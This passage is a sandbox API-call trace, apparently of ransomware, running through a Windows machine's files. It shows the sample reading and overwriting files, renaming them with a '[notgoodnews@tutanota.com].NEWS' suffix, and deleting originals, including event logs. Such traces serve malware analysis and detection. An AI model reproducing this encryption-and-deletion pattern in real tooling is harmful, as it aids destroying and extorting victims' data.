lstrcmpiW (lpString1=".msu", lpString2=".NEWS") returned -1 [0073.606] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33 [0073.606] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0073.607] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2141433) returned 1 [0073.607] CloseHandle (hObject=0x330) returned 1 [0073.607] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0073.607] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.607] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0073.607] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0073.607] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc64 | out: lpNewFilePointer=0x0) returned 1 [0073.608] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0073.608] ReadFile (in: hFile=0x330, lpBuffer=0x35f1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x35f1058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0073.614] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0073.614] ReadFile (in: hFile=0x330, lpBuffer=0x3631058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x3631058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0073.617] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2adfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.617] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0073.617] ReadFile (in: hFile=0x330, lpBuffer=0x3671058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x3671058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0073.641] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.641] WriteFile (in: hFile=0x330, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2adfca8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfca8*=0xc012e, lpOverlapped=0x0) returned 1 [0074.064] SetEndOfFile (hFile=0x330) returned 1 [0074.064] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3eaba98 [0074.064] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0074.064] WriteFile (in: hFile=0x330, lpBuffer=0x3eaba98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3eaba98*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0074.066] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0074.067] WriteFile (in: hFile=0x330, lpBuffer=0x3eaba98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3eaba98*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0074.069] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0074.069] WriteFile (in: hFile=0x330, lpBuffer=0x3eaba98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3eaba98*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0074.071] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0074.071] CloseHandle (hObject=0x330) returned 1 [0074.946] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0074.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0074.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0074.947] lstrlenW (lpString=".doc") returned 4 [0074.947] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0074.947] lstrlenW (lpString=".docx") returned 5 [0074.947] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0074.947] lstrlenW (lpString=".pdf") returned 4 [0074.947] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0074.947] lstrlenW (lpString=".xls") returned 4 [0074.947] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0074.947] lstrlenW (lpString=".xlsx") returned 5 [0074.947] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0074.947] lstrlenW (lpString=".ppt") returned 4 [0074.947] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0074.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0074.947] lstrlenW (lpString=".zip") returned 4 [0074.947] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0074.947] lstrlenW (lpString=".rar") returned 4 [0074.947] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0074.947] lstrlenW (lpString=".bz2") returned 4 [0074.948] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0074.948] lstrlenW (lpString=".7z") returned 3 [0074.948] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0074.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0074.948] lstrlenW (lpString=".dbf") returned 4 [0074.948] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0074.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0074.948] lstrlenW (lpString=".1cd") returned 4 [0074.948] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0074.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0074.948] lstrlenW (lpString=".jpg") returned 4 [0074.948] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0074.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0074.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0074.948] lstrlenW (lpString=".doc") returned 4 [0074.948] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0074.948] lstrlenW (lpString=".docx") returned 5 [0074.948] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0074.948] lstrlenW (lpString=".pdf") returned 4 [0074.948] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0074.948] lstrlenW (lpString=".xls") returned 4 [0074.948] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0074.948] lstrlenW (lpString=".xlsx") returned 5 [0074.948] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0074.948] lstrlenW (lpString=".ppt") returned 4 [0074.948] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0074.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0074.949] lstrlenW (lpString=".zip") returned 4 [0074.949] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0074.949] lstrlenW (lpString=".rar") returned 4 [0074.949] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0074.949] lstrlenW (lpString=".bz2") returned 4 [0074.949] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0074.949] lstrlenW (lpString=".7z") returned 3 [0074.949] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0074.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0074.949] lstrlenW (lpString=".dbf") returned 4 [0074.949] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0074.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0074.949] lstrlenW (lpString=".1cd") returned 4 [0074.949] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0074.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0074.949] lstrlenW (lpString=".jpg") returned 4 [0074.949] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0074.949] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0074.949] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56 [0074.949] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.878] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0075.878] CloseHandle (hObject=0x378) returned 1 [0075.878] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0075.878] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.205] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0076.205] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.205] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.205] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0076.206] GetLastError () returned 0x0 [0076.206] ReadFile (in: hFile=0x350, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0076.209] WriteFile (in: hFile=0x31c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0076.211] ReadFile (in: hFile=0x350, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.211] WriteFile (in: hFile=0x31c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x144, lpOverlapped=0x0) returned 1 [0076.211] SetEndOfFile (hFile=0x31c) returned 1 [0076.211] CloseHandle (hObject=0x31c) returned 1 [0076.213] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.214] SetEndOfFile (hFile=0x350) returned 1 [0076.215] CloseHandle (hObject=0x350) returned 1 [0076.215] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0076.215] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1 [0076.215] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0076.215] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0076.215] lstrlenW (lpString=".doc") returned 4 [0076.215] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.215] lstrlenW (lpString=".docx") returned 5 [0076.215] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.215] lstrlenW (lpString=".pdf") returned 4 [0076.215] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.215] lstrlenW (lpString=".xls") returned 4 [0076.216] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.216] lstrlenW (lpString=".xlsx") returned 5 [0076.216] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.216] lstrlenW (lpString=".ppt") returned 4 [0076.216] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.216] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0076.216] lstrlenW (lpString=".zip") returned 4 [0076.216] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.216] lstrlenW (lpString=".rar") returned 4 [0076.216] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.216] lstrlenW (lpString=".bz2") returned 4 [0076.216] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.216] lstrlenW (lpString=".7z") returned 3 [0076.216] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.216] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0076.216] lstrlenW (lpString=".dbf") returned 4 [0076.216] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.216] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0076.216] lstrlenW (lpString=".1cd") returned 4 [0076.216] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.216] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0076.216] lstrlenW (lpString=".jpg") returned 4 [0076.216] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.216] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0076.216] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0076.216] lstrlenW (lpString=".doc") returned 4 [0076.216] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.216] lstrlenW (lpString=".docx") returned 5 [0076.216] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.216] lstrlenW (lpString=".pdf") returned 4 [0076.216] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.216] lstrlenW (lpString=".xls") returned 4 [0076.216] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.216] lstrlenW (lpString=".xlsx") returned 5 [0076.216] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.217] lstrlenW (lpString=".ppt") returned 4 [0076.217] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.217] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0076.217] lstrlenW (lpString=".zip") returned 4 [0076.217] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.217] lstrlenW (lpString=".rar") returned 4 [0076.217] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.217] lstrlenW (lpString=".bz2") returned 4 [0076.217] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.217] lstrlenW (lpString=".7z") returned 3 [0076.217] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.217] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0076.217] lstrlenW (lpString=".dbf") returned 4 [0076.217] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.217] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0076.217] lstrlenW (lpString=".1cd") returned 4 [0076.217] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.217] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0076.217] lstrlenW (lpString=".jpg") returned 4 [0076.217] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.217] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0076.217] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50 [0076.217] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0076.217] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=69632) returned 1 [0076.218] CloseHandle (hObject=0x350) returned 1 [0076.218] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0076.218] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.218] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0076.218] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.218] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.218] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0076.219] GetLastError () returned 0x0 [0076.219] ReadFile (in: hFile=0x350, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x11000, lpOverlapped=0x0) returned 1 [0076.221] WriteFile (in: hFile=0x31c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x11010, lpOverlapped=0x0) returned 1 [0076.223] ReadFile (in: hFile=0x350, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.223] WriteFile (in: hFile=0x31c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x138, lpOverlapped=0x0) returned 1 [0076.223] SetEndOfFile (hFile=0x31c) returned 1 [0076.223] CloseHandle (hObject=0x31c) returned 1 [0076.225] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.226] SetEndOfFile (hFile=0x350) returned 1 [0076.227] CloseHandle (hObject=0x350) returned 1 [0076.227] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0076.227] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1 [0076.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0076.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0076.227] lstrlenW (lpString=".doc") returned 4 [0076.227] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.227] lstrlenW (lpString=".docx") returned 5 [0076.227] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.227] lstrlenW (lpString=".pdf") returned 4 [0076.227] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.227] lstrlenW (lpString=".xls") returned 4 [0076.227] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.228] lstrlenW (lpString=".xlsx") returned 5 [0076.228] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.228] lstrlenW (lpString=".ppt") returned 4 [0076.228] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0076.228] lstrlenW (lpString=".zip") returned 4 [0076.228] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.228] lstrlenW (lpString=".rar") returned 4 [0076.228] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.228] lstrlenW (lpString=".bz2") returned 4 [0076.228] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.228] lstrlenW (lpString=".7z") returned 3 [0076.228] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0076.228] lstrlenW (lpString=".dbf") returned 4 [0076.228] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0076.228] lstrlenW (lpString=".1cd") returned 4 [0076.228] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0076.228] lstrlenW (lpString=".jpg") returned 4 [0076.228] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0076.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0076.228] lstrlenW (lpString=".doc") returned 4 [0076.228] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.228] lstrlenW (lpString=".docx") returned 5 [0076.228] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.228] lstrlenW (lpString=".pdf") returned 4 [0076.228] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.228] lstrlenW (lpString=".xls") returned 4 [0076.228] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.228] lstrlenW (lpString=".xlsx") returned 5 [0076.228] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.228] lstrlenW (lpString=".ppt") returned 4 [0076.229] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0076.229] lstrlenW (lpString=".zip") returned 4 [0076.229] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.229] lstrlenW (lpString=".rar") returned 4 [0076.229] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.229] lstrlenW (lpString=".bz2") returned 4 [0076.229] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.229] lstrlenW (lpString=".7z") returned 3 [0076.229] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0076.229] lstrlenW (lpString=".dbf") returned 4 [0076.229] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0076.229] lstrlenW (lpString=".1cd") returned 4 [0076.229] lstrcmpiW 